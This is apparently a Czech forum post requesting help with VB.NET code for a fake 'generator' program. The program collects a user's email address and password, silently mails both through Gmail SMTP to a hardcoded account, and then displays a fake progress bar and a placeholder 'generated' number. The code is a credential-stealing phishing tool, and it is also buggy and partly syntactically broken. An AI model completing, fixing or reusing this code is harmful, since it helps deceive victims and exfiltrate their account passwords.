1.Kontrola emailu zkontroluje jestli se nezadává nesmysl a zkontroluje jestli je v text box 2 nějaký text.
2.Když něco bude chybět měl by se proces zastavit před odesláním.
3.Měl by se spustit timmer1 a loadding progressbar.
4.Vygenerovat číslo.
5.Hláška že je vše uspěšně dokončeno.
Díky za jakou koliv radu.
Imports System.Net.Mail
Imports System.Text.RegularExpressions
Public Class Form1
Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByVal wParam As Integer, ByVal lParam As Integer) As Integer
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
'kontrola emailu a zadaného textu
Dim FoundMatch As Boolean
Try
FoundMatch = Regex.IsMatch(TextBox1.Text, "\A(?:[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$% &'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0- 9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)\Z", RegexOptions.IgnoreCase)
Catch ex As ArgumentException 'Syntax error in the regular expression
End Try
If Not FoundMatch Then
MsgBox("bad email addrese", MsgBoxStyle.OkOnly, "!!!ERROR!!!")
Else
MsgBox("addrese is ok", MsgBoxStyle.OkOnly, "---OK---")
End If
If TextBox2.Text = "" Then
MessageBox.Show("missing password", "!!!ERROR!!!", MessageBoxButtons.OK, MessageBoxIcon.Error)
Application.Restart()
End If
'poílaní
Dim MyMailMessage As New MailMessage()
Try
MyMailMessage.From = New MailAddress("xxx@gmail.com")
MyMailMessage.To.Add("xxx@gmail.com")
MyMailMessage.Subject = TextBox1.Text
MyMailMessage.Body = TextBox2.Text
Dim SMTP As New SmtpClient("smtp.gmail.com")
SMTP.Port = 587
SMTP.EnableSsl = True
SMTP.Credentials = New System.Net.NetworkCredential("xxx@gmail.com","xxx" )
SMTP.Send(MyMailMessage)
TextBox2.Text = ""
Catch ex As Exception
End Try
'časovač
SendMessage(ProgressBar1.Handle, 1040, 3, 0)
Timer1.Start()
'Generátor
If ProgressBar1.Value = 100 Then
Dim key As Integer
key = Int(Rnd() * 3)
Select Case key
Case 1
TextBox3.Text = "12345678"
Case 2
TextBox3.Text = "1234567"
Case 3
TextBox3.Text = "12345"
End Select
End If
'Závěr
MsgBox(" completed", MsgBoxStyle.OkOnly, "---OK---") Then
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
ProgressBar1.Increment(1)
If ProgressBar1.Value = 100 Then
Label3.Text = "completed"
End If
Label4.Text = ProgressBar1.Value & ("%")
End Sub
End Class